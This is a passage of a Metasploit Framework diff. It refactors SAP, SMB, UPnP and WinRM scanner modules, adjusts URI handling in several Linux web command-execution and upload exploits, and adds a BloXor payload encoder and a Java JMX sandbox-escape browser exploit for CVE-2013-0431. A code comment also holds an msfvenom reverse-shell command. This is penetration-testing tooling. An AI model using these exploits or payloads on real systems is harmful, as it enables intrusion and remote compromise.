begin + res = send_request_cgi({ 'uri' => uri }) + if res and res.code != 200 + print_error("[SAP] #{ip}:#{rport} - Server did not respond as expected") + return + elsif not res + print_error("[SAP] #{ip}:#{rport} - Server did not respond") + return + end + rescue ::Rex::ConnectionError + print_error("[SAP] #{ip}:#{rport} - Unable to connect") + return + end + + print_status("[SAP] #{ip}:#{rport} - Response received") + + # create table for output + @saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[SAP] ICF SAP PUBLIC INFO", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => [ "Key", "Value" ] + ) + + response = res.body + + # extract data from response body + rfcproto = extract_field(response, 'rfcproto') + rfcchartyp = extract_field(response, 'rfcchartyp') + rfcinttyp = extract_field(response, 'rfcinttyp') + rfcflotyp = extract_field(response, 'rfcflotyp') + rfcdest = extract_field(response, 'rfcdest') + rfchost = extract_field(response, 'rfchost') + rfcsysid = extract_field(response, 'rfcsysid') + rfcdbhost = extract_field(response, 'rfcdbhost') + rfcdbsys = extract_field(response, 'rfcdbsys') + rfcsaprl = extract_field(response, 'rfcsaprl') + rfcmach = extract_field(response, 'rfcmach') + rfcopsys = extract_field(response, 'rfcopsys') + rfctzone = extract_field(response, 'rfctzone') + rfcdayst = extract_field(response, 'rfcdayst') + rfcipaddr = extract_field(response, 'rfcipaddr') + rfckernrl = extract_field(response, 'rfckernrl') + rfcipv6addr = extract_field(response, 'rfcipv6addr') + + # report notes / create saptbl output + report_note_sap('sap.version.release','Release Status of SAP System: ',rfcsaprl) if rfcsaprl + report_note_sap('sap.version.rfc_log','RFC Log Version: ',rfcproto) if rfcproto + report_note_sap('sap.version.kernel','Kernel Release: ',rfckernrl) if rfckernrl + report_note_sap('system.os','Operating System: ',rfcopsys) if rfcopsys + report_note_sap('sap.db.hostname','Database Host: ',rfcdbhost) if rfcdbhost + report_note_sap('sap.db_system','Central Database System: ',rfcdbsys) if rfcdbsys + report_note_sap('system.hostname','Hostname: ',rfchost) if rfchost + report_note_sap('system.ip.v4','IPv4 Address: ',rfcipaddr) if rfcipaddr + report_note_sap('system.ip.v6','IPv6 Address: ',rfcipv6addr) if rfcipv6addr + report_note_sap('sap.instance','System ID: ',rfcsysid) if rfcsysid + report_note_sap('sap.rfc.destination','RFC Destination: ',rfcdest) if rfcdest + report_note_sap('system.timezone','Timezone (diff from UTC in seconds): ',rfctzone.gsub(/\s+/, "")) if rfctzone + report_note_sap('system.charset','Character Set: ',rfcchartyp) if rfcchartyp + report_note_sap('sap.daylight_saving_time','Daylight Saving Time: ',rfcdayst) if rfcdayst + report_note_sap('sap.machine_id','Machine ID: ',rfcmach.gsub(/\s+/,"")) if rfcmach + + if rfcinttyp == 'LIT' + report_note_sap('system.endianness','Integer Format: ', 'Little Endian') + elsif rfcinttyp + report_note_sap('system.endianness','Integer Format: ', 'Big Endian') + end + + if rfcflotyp == 'IE3' + report_note_sap('system.float_type','Float Type Format: ', 'IEEE') + elsif rfcflotyp + report_note_sap('system.float_type','Float Type Format: ', 'IBM/370') + end + + # output table + print(@saptbl.to_s) + + end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 80c4168c0f..21100734ee 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -40,7 +40,8 @@ class Metasploit4 < Msf::Auxiliary 'Author' => [ 'Agnivesh Sathasivam', - 'nmonkee' + 'nmonkee', + 'ChrisJohnRiley' # module cleanup / streamlining ], 'License' => MSF_LICENSE ) @@ -53,6 +54,27 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def extract_field(data, elem) + if data =~ /<#{elem}>([^<]+)<\/#{elem}>/i + return $1 + end + nil + end + + def report_note_sap(type, data, value) + # create note + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data + # update saptbl for output + @saptbl << [ data, value ] + end + def run_host(ip) client = datastore['CLIENT'] data = '' @@ -86,226 +108,79 @@ class Metasploit4 < Msf::Auxiliary # to do - implement error handlers for each status code, 404, 301, etc. print_error("[SAP] #{ip}:#{rport} - something went wrong!") return + elsif not res + print_error("[SAP] #{ip}:#{rport} - Server did not respond") + return end rescue ::Rex::ConnectionError print_error("[SAP] #{ip}:#{rport} - Unable to connect") return end - print_status("[SAP] #{ip}:#{rport} - got response") - saptbl = Msf::Ui::Console::Table.new( + + print_status("[SAP] #{ip}:#{rport} - Response received") + + # create table for output + @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] System Info", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' =>[ - "Info", - "Value" - ]) + 'Header' => "[SAP] SOAP RFC_SYSTEM_INFO", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' =>[ "Key", "Value" ] + ) + response = res.body - rfcproto = $1 if response =~ /(.*)<\/RFCPROTO>/i - rfcchartyp = $1 if response =~ /(.*)<\/RFCCHARTYP>/i - rfcinttyp = $1 if response =~ /(.*)<\/RFCINTTYP>/i - rfcflotyp = $1 if response =~ /(.*)<\/RFCFLOTYP>/i - rfcdest = $1 if response =~ /(.*)<\/RFCDEST>/i - rfchost = $1 if response =~ /(.*)<\/RFCHOST>/i - rfcsysid = $1 if response =~ /(.*)<\/RFCSYSID>/i - rfcdbhost = $1 if response =~ /(.*)<\/RFCDBHOST>/i - rfcdbsys = $1 if response =~ /(.*)<\/RFCDBSYS>/i - rfcsaprl = $1 if response =~ /(.*)<\/RFCSAPRL>/i - rfcmach = $1 if response =~ /(.*)<\/RFCMACH>/i - rfcopsys = $1 if response =~ /(.*)<\/RFCOPSYS>/i - rfctzone = $1 if response =~ /(.*)<\/RFCTZONE>/i - rfcdayst = $1 if response =~ /(.*)<\/RFCDAYST>/i - rfcipaddr = $1 if response =~ /(.*)<\/RFCIPADDR>/i - rfckernrl = $1 if response =~ /(.*)<\/RFCKERNRL>/i - rfcipv6addr = $1 if response =~ /(.*)<\/RFCIPV6ADDR>/i - saptbl << [ "Release Status of SAP System", rfcsaprl ] - saptbl << [ "RFC Log Version", rfcproto ] - saptbl << [ "Kernel Release", rfckernrl ] - saptbl << [ "Operating System", rfcopsys ] - saptbl << [ "Database Host", rfcdbhost] - saptbl << [ "Central Database System", rfcdbsys ] - if rfcinttyp == 'LIT' - saptbl << [ "Integer Format", "Little Endian" ] - else - saptbl << [ "Integer Format", "Big Endian" ] + + # extract data from response body + rfcproto = extract_field(response, 'rfcproto') + rfcchartyp = extract_field(response, 'rfcchartyp') + rfcinttyp = extract_field(response, 'rfcinttyp') + rfcflotyp = extract_field(response, 'rfcflotyp') + rfcdest = extract_field(response, 'rfcdest') + rfchost = extract_field(response, 'rfchost') + rfcsysid = extract_field(response, 'rfcsysid') + rfcdbhost = extract_field(response, 'rfcdbhost') + rfcdbsys = extract_field(response, 'rfcdbsys') + rfcsaprl = extract_field(response, 'rfcsaprl') + rfcmach = extract_field(response, 'rfcmach') + rfcopsys = extract_field(response, 'rfcopsys') + rfctzone = extract_field(response, 'rfctzone') + rfcdayst = extract_field(response, 'rfcdayst') + rfcipaddr = extract_field(response, 'rfcipaddr') + rfckernrl = extract_field(response, 'rfckernrl') + rfcipv6addr = extract_field(response, 'rfcipv6addr') + + # report notes / create saptbl output + report_note_sap('sap.version.release','Release Status of SAP System: ',rfcsaprl) if rfcsaprl + report_note_sap('sap.version.rfc_log','RFC Log Version: ',rfcproto) if rfcproto + report_note_sap('sap.version.kernel','Kernel Release: ',rfckernrl) if rfckernrl + report_note_sap('system.os','Operating System: ',rfcopsys) if rfcopsys + report_note_sap('sap.db.hostname','Database Host: ',rfcdbhost) if rfcdbhost + report_note_sap('sap.db_system','Central Database System: ',rfcdbsys) if rfcdbsys + report_note_sap('system.hostname','Hostname: ',rfchost) if rfchost + report_note_sap('system.ip.v4','IPv4 Address: ',rfcipaddr) if rfcipaddr + report_note_sap('system.ip.v6','IPv6 Address: ',rfcipv6addr) if rfcipv6addr + report_note_sap('sap.instance','System ID: ',rfcsysid) if rfcsysid + report_note_sap('sap.rfc.destination','RFC Destination: ',rfcdest) if rfcdest + report_note_sap('system.timezone','Timezone (diff from UTC in seconds): ',rfctzone.gsub(/\s+/, "")) if rfctzone + report_note_sap('system.charset','Character Set: ',rfcchartyp) if rfcchartyp + report_note_sap('sap.daylight_saving_time','Daylight Saving Time: ',rfcdayst) if rfcdayst + report_note_sap('sap.machine_id','Machine ID: ',rfcmach.gsub(/\s+/,"")) if rfcmach + + if rfcinttyp == 'LIT' + report_note_sap('system.endianness','Integer Format: ', 'Little Endian') + elsif rfcinttyp + report_note_sap('system.endianness','Integer Format: ', 'Big Endian') end - saptbl << [ "Hostname", rfchost ] - if rfcflotyp == 'IE3' - saptbl << [ "Float Type Format", "IEEE" ] - else - saptbl << [ "Float Type Format", "IBM/370" ] - end - saptbl << [ "IPv4 Address", rfcipaddr ] - saptbl << [ "IPv6 Address", rfcipv6addr ] - saptbl << [ "System ID", rfcsysid ] - saptbl << [ "RFC Destination", rfcdest ] - saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ] - saptbl << [ "Character Set", rfcchartyp ] - saptbl << [ "Daylight Saving Time", rfcdayst ] - saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] - print(saptbl.to_s) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.release', - :data => "Release Status of SAP System: #{rfcsaprl}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.rfc_log', - :data => "RFC Log Version: #{rfcproto}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.kernel', - :data => "Kernel Release: #{rfckernrl}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'system.os', - :data => "Operating System: #{rfcopsys}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db.hostname', - :data => "Database Host: #{rfcdbhost}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db_system', - :data => "Central Database System: #{rfcdbsys}" - ) - - if rfcinttyp == 'LIT' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Little Endian" - ) - else - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Big Endian" - ) - end - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.hostname', - :data => "Hostname: #{rfchost}" - ) if rfcflotyp == 'IE3' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IEEE" - ) - else - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IBM/370" - ) + report_note_sap('system.float_type','Float Type Format: ', 'IEEE') + elsif rfcflotyp + report_note_sap('system.float_type','Float Type Format: ', 'IBM/370') end - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v4', - :data => "IPv4 Address: #{rfcipaddr}" - ) + # output table + print(@saptbl.to_s) - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v6', - :data => "IPv6 Address: #{rfcipv6addr}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.instance', - :data => "System ID: #{rfcsysid}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.rfc.destination', - :data => "RFC Destination: #{rfcdest}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.timezone', - :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.charset', - :data => "Character Set: #{rfcchartyp}" - ) - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.daylight_saving_time', - :data => "Daylight Saving Time: #{rfcdayst}" - ) - - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.machine_id', - :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) end end diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index 7ed1b96f4d..ca6c2f5c2f 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -164,8 +164,10 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - #{user}") report_user(user.chomp) else - if username = query_session(smbshare, ip, cmd, text, bat) - user = dnsdomain.split(" ")[2].split(".")[0].to_s + "\\" + username.to_s + username = query_session(smbshare, ip, cmd, text, bat) + if username + hostname = (dnsdomain.split(" ")[2] || "").split(".")[0] || "." + user = "#{hostname}\\#{username}" print_good("#{peer} - #{user}") report_user(user.chomp) else @@ -175,7 +177,7 @@ class Metasploit3 < Msf::Auxiliary else print_status("#{peer} - Could not determine logged in users") end - rescue StandardError => check_error + rescue Rex::Proto::SMB::Exceptions::Error => check_error print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}") return check_error end diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index fba5a396e7..2488a21d06 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary "ST:upnp:rootdevice\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n" + - "\r\n\r\n" # Non-standard, but helps + "\r\n" end def scanner_prescan(batch) diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 12f0c70422..88e9e717d6 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -40,10 +40,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end streams = winrm_run_cmd(datastore['CMD']) return unless streams.class == Hash print_error streams['stderr'] unless streams['stderr'] == '' diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index d8012fb723..946903113e 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -39,12 +39,8 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end each_user_pass do |user, pass| - resp,c = send_request_ntlm(test_request) + resp = send_winrm_request(test_request) if resp.nil? print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out" return diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index ed09cfd583..0c5eeb6274 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -42,12 +42,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end - - resp,c = send_request_ntlm(winrm_wql_msg(datastore['WQL'])) + resp = send_winrm_request(winrm_wql_msg(datastore['WQL'])) if resp.nil? print_error "Got no reply from the server" return diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index af2cfc5862..74c5d11bf4 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -614,7 +614,7 @@ class Metasploit3 < Msf::Auxiliary smb[:domain] ? smb[:domain] : "NULL", @challenge.unpack("H*")[0], nt_hash.empty? ? "0" * 32 : nt_hash, - nt_cli_challenge ? "0" * 160 : nt_cli_challenge + nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge ].join(":").gsub(/\n/, "\\n") ) fd.close diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index fda08e41c4..080803918b 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -84,8 +84,7 @@ class Metasploit3 < Msf::Auxiliary 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol']) ], self.class) - deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword', - 'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', + deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') end diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb new file mode 100644 index 0000000000..a2577bc89f --- /dev/null +++ b/modules/encoders/x86/bloxor.rb @@ -0,0 +1,58 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex/encoder/bloxor/bloxor' + +# +# BloXor is a cross architecture metamorphic block based xor encoder/decoder for Metasploit. +# BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb) +# by spoonm and the Rex::Poly::Block (./msf/lib/rex/poly/block.rb) code by skape. +# +# Please refer to ./msf/lib/rex/encoder/bloxor/bloxor.rb for BloXor's implementation and to +# ./msf/lib/rex/poly/machine/machine.rb and ./msf/lib/rex/poly/machine/x86.rb for the +# backend metamorphic stuff. +# +# A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a +# metamorphic packer for PE executables and also uses METASM. I am unaware of any code having +# been publicly released for this, so am unable to compare implementations. +# http://census-labs.com/media/packing-heat.pdf +# +# Manually check the output with the following command: +# >ruby msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.2.2 LHOST=192.168.2.1 LPORT=80 -a x86 -e x86/bloxor -b '\x00' -f raw | ndisasm -b32 -k 128,1 - +# + +class Metasploit3 < Rex::Encoder::BloXor + + # Note: Currently set to manual, bump it up to automatically get selected by the framework. + # Note: BloXor by design is slow due to its exhaustive search for a solution. + Rank = ManualRanking + + def initialize + super( + 'Name' => 'BloXor - A Metamorphic Block Based XOR Encoder', + 'Version' => '$Revision$', + 'Description' => 'A Metamorphic Block Based XOR Encoder.', + 'Author' => [ 'sf' ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Unspecified + ) + end + + def compute_decoder( state ) + + @machine = Rex::Poly::MachineX86.new( state.badchars ) + + super( state ) + end + +end diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index abf9fb3f46..d295430baa 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - @uri = normalize_uri(target_uri) + @uri = target_uri @uri.path << "/" if @uri.path[-1, 1] != "/" peer = "#{rhost}:#{rport}" @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending malicious request...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => @uri.path + "admin/tools/export.php", + 'uri' => normalize_uri(@uri.path, "admin/tools/export.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index d87027cadb..85ff71eca8 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']), - OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']), + OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']), + OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q']) ], self.class) end @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote end if res.code == 401 - print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!") + print_error("401 Authorization Required! Our Credentials not accepted!") elsif (res.code == 200 and res.body =~ /The passwords you supplied match/) print_status("Command successfully executed (according to the server).") end diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index cd1b6859c8..10a211bc13 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending Command injection") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/ipchange.php", + 'uri' => normalize_uri(uri, 'spywall/ipchange.php'), 'data' => post_data }) diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 58b8c6e90f..6a17584b58 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/blocked_file.php", + 'uri' => normalize_uri(uri, "spywall/blocked_file.php"), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index d5f5fc8acd..8ed47f8b1b 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1,1] != '/' @payload_name = "#{rand_text_alpha(5)}.php" @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} Uploading payload: #{@payload_name}") res = send_request_cgi({ - 'uri' => "#{base}includes/inline_image_upload.php", + 'uri' => normalize_uri(base, 'includes/inline_image_upload.php'), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=----x', 'data' => post_data diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 4bc1f62b3a..7e0086bc12 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -73,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1, 1] != '/' + uri = target_uri.path print_status("#{peer} - Housing php payload...") @@ -86,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote post_data << "\n"*2 send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}install/index.php", + 'uri' => normalize_uri(uri, 'install/index.php'), 'data' => post_data }) @@ -95,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}includes/settings.php", + 'uri' => normalize_uri(uri, 'includes/settings.php'), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 4c7fd85800..e0c28f0139 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -55,12 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => uri + "docs/changes.txt" + 'uri' => normalize_uri(uri, "docs/changes.txt") }) if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/ @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Injecting the PHP payload") response = send_request_cgi({ - 'uri' => uri + "converter.php", + 'uri' => normalize_uri(uri, "converter.php"), 'method' => "POST", 'vars_post' => { "action" => "convert", @@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote timeout = 0.01 response = send_request_cgi({ - 'uri' => uri + "includes/currencies.php", + 'uri' => normalize_uri(uri, "includes/currencies.php"), 'method' => "GET", 'headers' => { 'Connection' => "close", diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb new file mode 100644 index 0000000000..e8534ede40 --- /dev/null +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -0,0 +1,143 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Java Applet JMX Remote Code Execution', + 'Description' => %q{ + This module abuses the JMX classes from a Java Applet to run arbitrary Java code + outside of the sandbox as exploited in the wild in February of 2013. Additionally, + this module bypasses default security settings introduced in Java 7 Update 10 to run + unsigned applet without displaying any warning to the user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'Adam Gowdiak', # Vulnerability discovery + 'SecurityObscurity', # Exploit analysis and deobfuscation + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0431' ], + [ 'OSVDB', '89613' ], + [ 'BID', '57726' ], + [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ], + [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ], + [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ], + [ 'URL', 'http://pastebin.com/QWU1rqjf' ], + [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ] + ], + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 19 2013' + )) + end + + def on_request_uri(cli, request) + print_status("handling request for #{request.uri}") + + case request.uri + when /\.jar$/i + print_status("Sending JAR") + send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } ) + when /\/$/ + print_status("Sending HTML") + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) + else + send_redirect(cli, get_resource() + '/', '') + end + end + + def generate_jar + paths = [ + [ "Exploit.ser" ], + [ "Exploit.class" ], + [ "B.class" ] + ] + + p = regenerate_payload(cli) + + jar = p.encoded_jar + + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0,idx].join("/") + "/" + if !(jar.entries.map{|e|e.name}.include?(full)) + jar.add_file(full, '') + end + end + fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") + data = fd.read(fd.stat.size) + jar.add_file(path.join("/"), data) + 